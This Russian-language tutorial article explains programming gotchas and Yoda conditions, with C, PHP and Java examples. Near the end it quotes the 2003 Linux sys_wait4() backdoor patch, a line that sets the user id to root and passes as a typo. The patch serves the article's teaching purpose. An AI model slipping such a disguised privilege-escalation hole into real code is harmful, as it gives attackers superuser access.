Вам бонус- начислено 1 монета за дневную активность. Сейчас у вас 1 монета

Уловки в программировании(камни преткновения) кратко

Лекция



Привет, Вы узнаете о том , что такое уловки в программировании, Разберем основные их виды и особенности использования. Еще будет много подробных примеров и описаний. Для того чтобы лучше понимать что такое уловки в программировании, камни преткновения, условия йоды , настоятельно рекомендую прочитать все из категории Разработка программного обеспечения и информационных систем.

Камень преткновения ( англ. Gotcha ) в программировании , обозначает в языке программирования или системе валидную конструкцию работает как задокументировано, но есть контринтуитивною и часто приводит к ошибкам, потому что ее просто применить, а результат неожиданный

В программировании , уловки ( камни преткновения )является действительным конструктом в системе, программе или язык программирования , который работает , как документированные , но является нелогичным и почти приглашают ошибки , потому что это так легко вызвать и неожиданная или необоснованную в его исходе.

Пример

Классический подводный камень в C / C ++ - это конструкция

if( a  =  b )  {...};

Он синтаксически действителен: он помещает значение bв aи затем выполняется, codeесли aоно не равно нулю. Иногда это даже подразумевается. Однако чаще всего это опечатка: вероятно, программист имел в виду

if  ( a  ==  b )  {...};

который выполняется, codeесли aи bравны. Современные компиляторы обычно генерируют предупреждение при обнаружении первой конструкции (условная ветвь при назначении, а не сравнение), в зависимости от параметров компилятора (например, параметр -Wall для gcc). Чтобы избежать этой ошибки, рекомендуется сохранять константы в левой части сравнения, например, 42 == x а не x == 42. Таким образом, использование =вместо ==вызовет ошибку компилятора (см. Условия yoda ). Однако многие виды ошибок не обнаруживаются компиляторами. .

условия йоды

Условия Йоды (от англ. Yoda conditions), или нотация Йоды (англ. Yoda notation) в жаргоне программистов — «безопасный» стиль записи выражений сравнения при программировании на языках с Си-синтаксисом, заключающийся в написании константного члена выражения (константы или вызова функции) слева от оператора сравнения (то есть 5 == a вместо привычного а == 5).

Такой стиль призван предотвратить свойственную данным языкам ошибку — использование оператора присваивания «=» вместо сравнения «==». Ошибочное использование присваивания превращает нотацию Йоды в попытку изменить константу, вызывая ошибку на этапе компиляции, что исключает возможность появления в готовой программе ошибок данного вида, а также облегчает их поиск и исправление в новом коде.

Нотация названа в честь магистра Йоды из вселенной «Звездных войн», имеющего манеру выстраивать слова фразы в обратном порядке.

Суть нотации Условия Йоды

В классической нотации проверка переменной на равенство некоторой константе записывается следующим образом (пример на языке PHP):

if ( $variable == 52 ) { 
    /* действия, выполняемые, если переменная равна 52 */
}

то есть переменная, операция сравнения и константа. Об этом говорит сайт https://intellect.icu . Данная конструкция уязвима для известной ошибки:

if ( $variable = 52 ) { // ОШИБКА: ПРИСВАИВАНИЕ переменной значения 52
    /* действия, выполняемые ВСЕГДА, ибо значением выражения в скобках будет число 52, которое не равно нулю и поэтому в данном контексте рассматривается как true */
}

Такой код остается синтаксически правильным, и при ненадлежащем тестировании может остаться в программе на долгие годы и стать причиной серьезной уязвимости.

При использовании нотации Йоды переменная и константа меняются местами, так что константа оказывается слева:

if ( 52 == $variable ) {
    /* действия, выполняемые, если переменная равна 52 */
}

При такой нотации в случае опечатки в операторе сравнения получается синтаксически некорректное присваивание константе и программа не будет работать, пока ошибка не будет найдена и исправлена.

if ( 52 = $variable ) { // ОШИБКА при компиляции
    /* ... */
}

Совершенно аналогично для функций:

if ( someFunction() = $variable ) { // ОШИБКА при компиляции
    /* ... */
}

Альтернативное использование нотации

Нотация Йоды также применима в разрешении проблемы небезопасного «нулевого поведения» (англ. unsafe null behavior) например (пример на языке Java):

String myString = null;
if ( myString.equals("foobar") ) { // Вызывает NullPointerException
    /* ... */ 
}

При применении нотации Йоды:

String myString = null;
if ( "foobar".equals(myString) ) { // Результат - Ложь
   /* не выполняется */ 
}

Достоинства и недостатки

Использование нотации Йоды не позволяет программам на языках C++, Java, PHP и других работать при наличии ошибок в выражениях сравнения (поведения программы данная модификация не меняет). Некоторые программисты считают использование данной нотации «признаком хорошего тона» .

К недостаткам нотации относится сложность написания, модификации и чтения программы , а также довольно узкая область применения — только сравнение на равенство, только сравнение с константой или результатом вызова функции. Современные инструментальные средства разработки (компиляторы, редакторы) позволяют отслеживать и выдавать предупреждения, когда встречают присваивание в управляющей конструкции, считая его потенциально ошибочным.

Ошибка sys_wait4()[

Примечательна неудавшаяся попытка внедрения бэкдора в функцию sys_wait4() в ядре Linux (2003) . Разработка шла на проприетарной системе управления версиями BitKeeper, по ночам код выкладывался на более распространенный CVS. Этот CVS и взломали, добавив в обработчик системного вызова sys_wait4() код, как будто проверяющий входные данные на некорректную комбинацию флагов:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

Бэкдор был замаскирован под простую опечатку — вместо == стояло =. Таким образом, передача в функцию двух флагов, противоречащих друг другу, выполняла код current->uid = 0, то есть давала программе права суперпользователя.

Очередная выкачка информации на CVS дала сбой, и инородные патчи удалили до того, как стало ясно, что они собой представляют. В стабильное ядро патч попасть не мог (связь между BitKeeper и CVS односторонняя). Автора бэкдора найти не удалось.

Вау!! 😲 Ты еще не читал? Это зря!

Исследование, описанное в статье про уловки в программировании, подчеркивает ее значимость в современном мире. Надеюсь, что теперь ты понял что такое уловки в программировании, камни преткновения, условия йоды и для чего все это нужно, а если не понял, или есть замечания, то не стесняйся, пиши или спрашивай в комментариях, с удовольствием отвечу. Для того чтобы глубже понять настоятельно рекомендую изучить всю информацию из категории Разработка программного обеспечения и информационных систем

Из статьи мы узнали кратко, но содержательно про уловки в программировании
создано: 2021-04-25
обновлено: 2021-04-25
132265



Рейтиг 9 of 10. count vote: 2
Вы довольны ?:


Поделиться:

Найди готовое или заработай

С нашими удобными сервисами без комиссии*

Как это работает? | Узнать цену?

Найти исполнителя
$0 / весь год.
  • У вас есть задание, но нет времени его делать
  • Вы хотите найти профессионала для выплнения задания
  • Возможно примерение функции гаранта на сделку
  • Приорететная поддержка
  • идеально подходит для студентов, у которых нет времени для решения заданий
Готовое решение
$0 / весь год.
  • Вы можите продать(исполнителем) или купить(заказчиком) готовое решение
  • Вам предоставят готовое решение
  • Будет предоставлено в минимальные сроки т.к. задание уже готовое
  • Вы получите базовую гарантию 8 дней
  • Вы можете заработать на материалах
  • подходит как для студентов так и для преподавателей
Я исполнитель
$0 / весь год.
  • Вы профессионал своего дела
  • У вас есть опыт и желание зарабатывать
  • Вы хотите помочь в решении задач или написании работ
  • Возможно примерение функции гаранта на сделку
  • подходит для опытных студентов так и для преподавателей



Комментарии


Оставить комментарий
Если у вас есть какое-либо предложение, идея, благодарность или комментарий, не стесняйтесь писать. Мы очень ценим отзывы и рады услышать ваше мнение.
To reply

Разработка программного обеспечения и информационных систем

Термины: Разработка программного обеспечения и информационных систем